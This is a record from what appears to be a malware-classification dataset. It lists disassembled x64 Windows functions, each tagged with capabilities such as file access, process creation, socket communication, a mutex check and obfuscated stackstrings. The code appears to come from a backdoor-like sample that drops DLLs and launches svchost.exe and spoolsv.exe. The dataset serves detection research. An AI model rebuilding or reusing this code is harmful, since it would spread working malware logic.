joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400039b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
push r15
sub rsp, 0x48
xor r15d, r15d
lea rcx, str.C:Windows_system32_rdpxcv.log
mov rdi, r8
mov qword [rsp + 0x30], r15
mov r14, rdx
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003a0c
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x40], rbp
mov rcx, rsi
mov qword [rsp + 0x88], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebp, dword [rsp + 0x88]
mov ecx, 0x40
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [r14], rax
test rax, rax
jne 0x140003a61
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x78], rbx
mov ebx, ebp
mov dword [rdi], r15d
test ebp, ebp
jle 0x140003a9e
nop
mov rdx, qword [r14]
lea r9, [rsp + 0x70]
mov r8d, ebx
mov dword [rsp + 0x70], r15d
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x140003a9e
add dword [rdi], eax
sub ebx, eax
test ebx, ebx
jg 0x140003a70
mov rcx, rsi
mov rbx, qword [rsp + 0x78]
cmp dword [rdi], ebp
je 0x140003acb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
mov al, 1
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret

Function at 0x140003d80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edi, r8d
mov dword [rsp + 0x28], 0x80
mov rsi, rdx
mov dword [rsp + 0x68], 0
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x140003dfa
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x140003e0c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov al, 1
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140003e30
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor r15d, r15d
mov rdi, r8
mov r14, rdx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003e8b
xor al, al
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebp, dword [rsp + 0x40]
mov ecx, 0x40
lea ebx, [rbp + 1]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [r14], rax
call fcn.140011b90
cmp qword [r14], r15
jne 0x140003ede
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140003f49
mov dword [rdi], r15d
mov ebx, ebp
test ebp, ebp
jle 0x140003f27
nop word [rax + rax]
mov rdx, qword [r14]
lea r9, [rsp + 0x88]
mov r8d, ebx
mov dword [rsp + 0x88], r15d
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x88]
test eax, eax
je 0x140003f27
add dword [rdi], eax
sub ebx, eax
test ebx, ebx
jg 0x140003ef0
mov rcx, rsi
cmp dword [rdi], ebp
je 0x140003f41
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
jmp 0x140003f49
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret

Function at 0x140003f70
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xc0
xor r14d, r14d
mov rbx, r8
mov rsi, rdx
mov dword [rsp + 0x50], r14d
mov rbp, rcx
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [r14 + 0x60]
call fcn.140011b90
lea ecx, [r14 + 0x18]
call fcn.14000e964
xor edx, edx
lea r8d, [r14 + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, rax
call fcn.140011b90
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov rdx, rsi
mov dword [rsp + 0x28], 0x20
mov rcx, rbp
mov dword [rsp + 0x20], r14d
mov dword [rsp + 0x50], 0x68
mov word [rsp + 0x90], r14w
mov dword [rsp + 0x8c], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea r11, [rsp + 0xc0]
test eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
cmovne r14, rdi
mov rsi, qword [r11 + 0x20]
mov rax, r14
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140006270
Capabilities:
Create directory
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x390
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.140011b90
lea rax, str.Diagnostics.txt
mov r9, rdi
lea r8, [0x14002b2e0]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.140004200
xor ebx, ebx
lea rcx, str.C:Windows_system32_rdpxcv.log
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140006411
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x48], rbx
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], ebx
mov edx, 0x153
call fcn.140003af0
test al, al
je 0x140006411
mov rbx, qword [rsp + 0x48]
lea rcx, [rsp + 0x50]
mov r8d, dword [rsp + 0x40]
mov rdx, rbx
call fcn.140003d80
test al, al
je 0x140006411
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400040a0
test al, al
je 0x140006411
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x104
call fcn.140011b90
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x104
call fcn.140011b90
mov r9, rdi
lea r8, str._sx86.dll
mov edx, 0x104
lea rcx, [rsp + 0x160]
call fcn.140004200
mov r9, rdi
lea r8, str._sx64.dll
mov edx, 0x104
lea rcx, [rsp + 0x270]
call fcn.140004200
lea r8, [rsp + 0x160]
mov edx, 0x1a7
call fcn.140006440
test al, al
je 0x140006411
lea r8, [rsp + 0x270]
mov edx, 0x1ac
call fcn.140006440
test al, al
setne al
jmp 0x140006413
xor al, al
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.14000e940
mov rbx, qword [rsp + 0x3a8]
add rsp, 0x390
pop rdi
ret
Function at 0x1400069a0
Capabilities:
Create thread
Get common file path

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x6a0
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rdi, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x360]
mov r8d, 0x104
call fcn.140011b90
mov edx, 0x104
lea rcx, [rsp + 0x360]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call fcn.140011b90
xor edx, edx
lea rcx, [rsp + 0x250]
mov r8d, 0x104
call fcn.140011b90
xor edx, edx
lea rcx, [rsp + 0x470]
mov r8d, 0x104
call fcn.140011b90
xor edx, edx
lea rcx, [rsp + 0x580]
mov r8d, 0x104
call fcn.140011b90
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x104
call fcn.140011b90
mov r9, rdi
lea r8, str._sprocess1.txt
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.140004200
mov r9, rdi
lea r8, str._sprocess2.txt
mov edx, 0x104
lea rcx, [rsp + 0x250]
call fcn.140004200
lea rax, [rsp + 0x30]
mov r9, rdi
lea r8, str._c__s_svchost.exe____s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x470]
call fcn.140004200
lea rax, [rsp + 0x250]
mov r9, rdi
lea r8, str._c__s_spoolsv.exe____s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x580]
call fcn.140004200
lea r9, [rsp + 0x360]
mov edx, 0x104
lea r8, str._scmd.exe
lea rcx, [rsp + 0x140]
call fcn.140004200
mov rcx, rdi
call fcn.1400064a0
test al, al
jne 0x140006b0b
xor al, al
jmp 0x140006c2f
lea r8, str.WIN72K8R2
mov rdx, rsi
mov rcx, rdi
call fcn.140006590
test al, al
je 0x140006b04
mov qword [rsp + 0x6c0], rbx
nop dword [rax]
mov r8, rdi
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x140]
call fcn.140003f70
mov rbx, rax
test rax, rax
je 0x140006c25
mov rcx, qword [rax]
mov edx, 0x2bf20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x18
mov rcx, rbx
call fcn.14000e9a0
lea rcx, [rsp + 0x30]
call fcn.140006830
test eax, eax
jne 0x140006b91
lea r8, [0x14002b444]
mov rdx, rsi
mov rcx, rdi
call fcn.140006590
jmp 0x140006b30
sub eax, 1
je 0x140006c25
mov r8, rsi
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.140006670
test al, al
je 0x140006c25
mov r8, rdi
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x140]
call fcn.140004060
test al, al
je 0x140006c25
mov ecx, 0x80
call fcn.14000e9a8
xor edx, edx
mov r8d, 0x80
mov rcx, rax
mov rbx, rax
call fcn.140011b90
mov r8, rsi
mov edx, 0x80
mov rcx, rbx
call fcn.140014734
xor eax, eax
lea r8, [0x140006c50]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x140006c27
xor al, al
mov rbx, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.14000e940
mov rsi, qword [rsp + 0x6c8]
add rsp, 0x6a0
pop rdi
ret
Function at 0x140007d70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebp, ebp
mov r14, rcx
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
add rcx, 0x114
mov dword [rsp + 0x20], 3
lea r8d, [rbp + 1]
mov ebx, ebp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007e0f
mov eax, ebx
inc ebx
cmp eax, 0xa
jg 0x140007ea5
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
lea rcx, [r14 + 0x114]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140007dc0
mov ebx, dword [r14 + 0x10]
lea r8, [rsp + 0x60]
mov eax, dword [r14 + 0xc]
mov edx, ebx
xor r9d, r9d
mov dword [rsp + 0x60], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, 0x19000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbp
mov r8d, 0x18ff7
mov rsi, rax
mov byte [rax], gethostbyname
lea rdx, [rax + 9]
mov ecx, dword [rsp + 0x60]
mov dword [rax + 1], ecx
mov rcx, rdi
mov dword [rax + 5], ebx
mov dword [rsp + 0x68], ebp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
test r8d, r8d
je 0x140007e93
add r8d, 9
mov rdx, rsi
mov rcx, r14
call fcn.140007f70
jmp 0x140007e9c
mov rcx, qword [r14]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1400084e0
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov esi, r8d
mov rdi, rdx
xor r8d, r8d
mov ebp, 2
mov ecx, ebp
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
test rax, rax
jne 0x140008524
xor eax, eax
jmp 0x1400085a5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x14000851d
xor eax, eax
mov word [rsp + 0x28], bp
movzx ecx, si
mov qword [rsp + 0x2a], rax
mov dword [rsp + 0x32], eax
mov word [rsp + 0x36], ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x2a], ax
mov r8d, reloc.WS2_32.dll_recv
mov rax, qword [rdi + 0x18]
lea rdx, [rsp + 0x28]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, rbx
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x14000851d
mov rdx, rbx
call fcn.140008770
mov ecx, 0x428
call fcn.14000e964
lea rcx, vtable.Tcp.0
mov qword [rsp + 0x20], rax
mov qword [rax], rcx
mov qword [rax + 0x420], rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000e940
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400085c0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [rcx + 0x420]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
test eax, eax
jne 0x1400085e5
or eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
jns 0x1400085fb
call fcn.14001484c
cmp dword [rax], 4
jne 0x1400085dc
call fcn.14001484c
cmp dword [rax], 0x1c
je 0x1400085dc
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140008610
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 0x420]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov edx, eax
lea ecx, [rax + 1]
or eax, 0xffffffff
cmp ecx, 1
cmova eax, edx
add rsp, 0x28
ret

Function at 0x1400086a0
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [rcx + 0x420]
lea r8, [rcx + 0x210]
xor ebx, ebx
mov r10, rcx
mov dword [rcx + 8], ebx
mov r9d, ebx
mov dword [r8], ebx
mov qword [rcx + 0x10], rax
inc dword [rcx + 8]
mov ecx, dword [r8]
test ecx, ecx
je 0x1400086f5
mov edx, dword [r10 + 0x420]
nop word [rax + rax]
mov eax, r9d
cmp qword [r10 + rax*8 + 0x218], rdx
je 0x1400086f5
inc r9d
cmp r9d, ecx
jb 0x1400086e0
cmp r9d, ecx
jne 0x140008714
cmp ecx, 0x40
jae 0x140008714
mov ecx, dword [r10 + 0x420]
mov eax, r9d
mov qword [r10 + rax*8 + 0x218], rcx
inc dword [r8]
mov ecx, dword [r10 + 0x420]
lea rax, [rsp + 0x40]
inc ecx
mov qword [rsp + 0x40], 0x12c
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, [r10 + 8]
call qword [sym.imp.WS2_32.dll_select]
mov ebx, eax
test eax, eax
jns 0x14000874d
call fcn.14001484c
cmp dword [rax], 4
jne 0x140008751
test ebx, ebx
jne 0x14000875a
or eax, 0xffffffff
add rsp, 0x30
pop rbx
ret
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x140008770
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rdx
mov dword [rsp + 0x50], 1
mov rcx, rbx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x140008803
xor ecx, ecx
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
lea r8, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], ecx
lea r9d, [rcx + 0xc]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov dword [rsp + 0x5c], 0x2bf20
mov dword [rsp + 0x60], 0x3e8
call qword [sym.imp.WS2_32.dll_WSAIoctl]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000e940
add rsp, 0x70
pop rbx
ret
Function at 0x140008830
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1f0
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
movdqa xmm0, xmmword [0x14002b810]
lea r8, [rsp + 0x1c0]
mov edx, 1
mov dword [rsp + 0x1d0], 0x38422d39
xor ecx, ecx
mov dword [rsp + 0x1d4], 0x46333837
movdqu xmmword [rsp + 0x1c0], xmm0
mov word [rsp + 0x1d8], 0x7d
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test rbx, rbx
je 0x1400088cd
test al, al
je 0x1400088e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.14000e940
add rsp, 0x1f0
pop rbx
ret
mov al, 1
jmp 0x1400088cf

Function at 0x1400088f0
Capabilities:
Check for time delay via gettickcount
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [0x140008820]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.140008830
test al, al
jne 0x140008917
xor eax, eax
add rsp, 0x38
ret
mov ecx, 0xbb8
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea r8, [0x140005f60]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140008b70]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140006f30]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140004260]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xa4cb80
jae 0x1400089ce
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xa4cb80
jb 0x1400089b4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400089e0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov esi, edx
mov rdi, rcx
mov edx, 1
mov ebp, 2
mov ecx, ebp
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008a5f
mov rcx, rdi
mov word [rsp + 0x20], bp
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, si
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbp + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x140008a63
call qword [sym.imp.WS2_32.dll_closesocket]
xor al, al
jmp 0x140008a6b
call qword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000e940
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000b290
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r10d, r8d
mov r9, rdx
test rdx, rdx
jne 0x14000b2a6
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rbx
lea rbx, [0x1400294e0]
not ecx
cmp r10d, 8
jb 0x14000b398
mov r11, r10
shr r11, 3
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r10d, 0xfffffff8
mov edx, dword [rbx + rax*4]
xor edx, ecx
movzx ecx, byte [r9 + 1]
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 2]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 3]
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 4]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 5]
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 6]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 7]
add r9, 8
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ecx, dword [rbx + rax*4]
xor ecx, edx
sub r11, 1
jne 0x14000b2d0
test r10d, r10d
je 0x14000b3c0
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
xor rdx, rax
shr eax, 8
movzx r8d, dl
mov ecx, dword [rbx + r8*4]
xor ecx, eax
add r10d, 0xffffffff
jne 0x14000b3a0
mov rbx, qword [rsp]
not ecx
mov eax, ecx
add rsp, 8
ret

Function at 0x14000bce0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
imul esi, edx
mov rbp, rdx
cmp byte [r9], 0
mov r10, rcx
je 0x14000bd30
mov rdx, rcx
mov qword [rsp + 0x20], 0
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x48]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000bd2a
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x14000bd61
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
mov qword [rsp + 0x40], rbx
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x14000bd48
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov rcx, r10
mov r8d, esi
call fcn.14000fa70
add dword [rdi + 0x2c], esi
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret